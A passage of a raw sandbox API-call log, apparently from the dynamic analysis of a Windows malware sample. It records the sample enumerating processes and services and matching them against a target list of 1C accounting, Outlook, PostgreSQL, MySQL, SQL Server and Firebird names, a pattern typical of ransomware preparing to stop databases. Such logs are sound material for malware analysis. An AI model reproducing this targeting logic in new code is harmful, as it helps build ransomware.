th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0249.820] lstrlenW (lpString="lsass.exe") returned 9 [0249.820] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0249.820] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0249.820] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0249.820] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0249.820] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0249.820] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0249.820] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0249.820] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0249.820] lstrlenW (lpString="lsm.exe") returned 7 [0249.820] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0249.820] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0249.820] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0249.820] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0249.820] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0249.820] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0249.820] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0249.820] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.821] lstrlenW (lpString="svchost.exe") returned 11 [0249.821] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0249.821] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0249.821] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0249.821] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0249.821] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0249.821] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0249.821] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0249.821] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.821] lstrlenW (lpString="svchost.exe") returned 11 [0249.821] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0249.821] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0249.821] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0249.821] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0249.821] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0249.821] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0249.821] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0249.821] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.822] lstrlenW (lpString="svchost.exe") returned 11 [0249.822] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0249.822] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0249.822] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0249.822] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0249.822] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0249.822] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0249.822] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0249.822] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.822] lstrlenW (lpString="svchost.exe") returned 11 [0249.822] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.822] lstrlenW (lpString="svchost.exe") returned 11 [0249.822] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0249.823] lstrlenW (lpString="audiodg.exe") returned 11 [0249.823] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.823] lstrlenW (lpString="svchost.exe") returned 11 [0249.823] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.823] lstrlenW (lpString="svchost.exe") returned 11 [0249.824] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0249.824] lstrlenW (lpString="userinit.exe") returned 12 [0249.824] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0249.824] lstrlenW (lpString="dwm.exe") returned 7 [0249.824] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0249.825] lstrlenW (lpString="explorer.exe") returned 12 [0249.825] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0249.825] lstrlenW (lpString="spoolsv.exe") returned 11 [0249.825] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0249.825] lstrlenW (lpString="taskhost.exe") returned 12 [0249.825] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.826] lstrlenW (lpString="svchost.exe") returned 11 [0249.826] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0249.826] lstrlenW (lpString="uyuquk.exe") returned 10 [0249.826] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0249.826] lstrlenW (lpString="reader_sl.exe") returned 13 [0249.826] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0249.826] CloseHandle (hObject=0x390) returned 1 [0249.827] Sleep (dwMilliseconds=0x1f4) [0251.105] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aeb48 [0251.152] EnumServicesStatusExW (in: hSCManager=0x42aeb48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0251.167] GetLastError () returned 0xea [0251.168] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x4232878 [0251.171] EnumServicesStatusExW (in: hSCManager=0x42aeb48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4232878, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4232878, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0251.200] CloseServiceHandle (hSCObject=0x42aeb48) returned 1 [0251.217] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0251.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0251.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0251.222] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0251.225] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0251.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0251.229] lstrlenW (lpString="AudioSrv") returned 8 [0251.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0251.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0251.233] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0251.236] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0251.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0251.240] lstrlenW (lpString="BFE") returned 3 [0251.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0251.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0251.248] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0251.251] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0251.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0251.255] lstrlenW (lpString="CryptSvc") returned 8 [0251.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0251.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0251.337] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0251.337] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0251.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0251.337] lstrlenW (lpString="CscService") returned 10 [0251.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0251.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0251.337] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0251.337] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0251.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0251.337] lstrlenW (lpString="DcomLaunch") returned 10 [0251.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0251.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0251.337] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0251.337] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0251.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0251.337] lstrlenW (lpString="Dhcp") returned 4 [0251.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0251.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0251.337] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0251.337] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0251.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0251.337] lstrlenW (lpString="Dnscache") returned 8 [0251.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0251.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0251.337] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0251.337] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0251.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0251.337] lstrlenW (lpString="DPS") returned 3 [0251.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0251.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0251.337] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0251.337] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0251.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0251.337] lstrlenW (lpString="eventlog") returned 8 [0251.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0251.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0251.338] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0251.338] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0251.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0251.338] lstrlenW (lpString="EventSystem") returned 11 [0251.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0251.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0251.338] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0251.338] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0251.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0251.338] lstrlenW (lpString="gpsvc") returned 5 [0251.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0251.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0251.338] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0251.338] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0251.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0251.338] lstrlenW (lpString="LanmanWorkstation") returned 17 [0251.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0251.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0251.338] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0251.338] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0251.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0251.338] lstrlenW (lpString="lmhosts") returned 7 [0251.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0251.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0251.338] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0251.338] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0251.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0251.338] lstrlenW (lpString="MMCSS") returned 5 [0251.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0251.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0251.338] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0251.338] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0251.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0251.338] lstrlenW (lpString="MpsSvc") returned 6 [0251.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0251.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0251.339] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0251.339] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0251.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0251.339] lstrlenW (lpString="NlaSvc") returned 6 [0251.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0251.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0251.339] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0251.339] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0251.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0251.339] lstrlenW (lpString="nsi") returned 3 [0251.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0251.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0251.339] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0251.339] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0251.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0251.339] lstrlenW (lpString="PcaSvc") returned 6 [0251.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0251.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0251.339] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0251.339] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0251.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0251.339] lstrlenW (lpString="PlugPlay") returned 8 [0251.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0251.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0251.339] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0251.339] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0251.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0251.339] lstrlenW (lpString="Power") returned 5 [0251.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0251.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0251.339] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0251.339] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0251.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0251.339] lstrlenW (lpString="ProfSvc") returned 7 [0251.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0251.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0251.340] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0251.340] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0251.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0251.340] lstrlenW (lpString="RpcEptMapper") returned 12 [0251.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0251.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0251.340] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0251.340] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0251.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0251.340] lstrlenW (lpString="RpcSs") returned 5 [0251.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0251.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0251.340] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0251.340] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0251.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0251.340] lstrlenW (lpString="SamSs") returned 5 [0251.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0251.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0251.340] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0251.340] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0251.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0251.340] lstrlenW (lpString="Schedule") returned 8 [0251.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0251.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0251.340] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0251.340] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0251.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0251.340] lstrlenW (lpString="SENS") returned 4 [0251.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0251.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0251.340] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0251.340] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0251.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0251.340] lstrlenW (lpString="ShellHWDetection") returned 16 [0251.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0251.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0251.341] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0251.341] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0251.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0251.341] lstrlenW (lpString="Spooler") returned 7 [0251.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0251.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0251.341] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0251.341] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0251.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0251.341] lstrlenW (lpString="SysMain") returned 7 [0251.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0251.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0251.341] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0251.341] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0251.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0251.341] lstrlenW (lpString="Themes") returned 6 [0251.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0251.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0251.341] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0251.341] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0251.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0251.341] lstrlenW (lpString="TrkWks") returned 6 [0251.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0251.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0251.341] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0251.341] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0251.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0251.341] lstrlenW (lpString="UxSms") returned 5 [0251.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0251.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0251.341] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0251.341] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0251.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0251.341] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x4232878 | out: hHeap=0x530000) returned 1 [0251.341] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0251.343] Process32FirstW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, 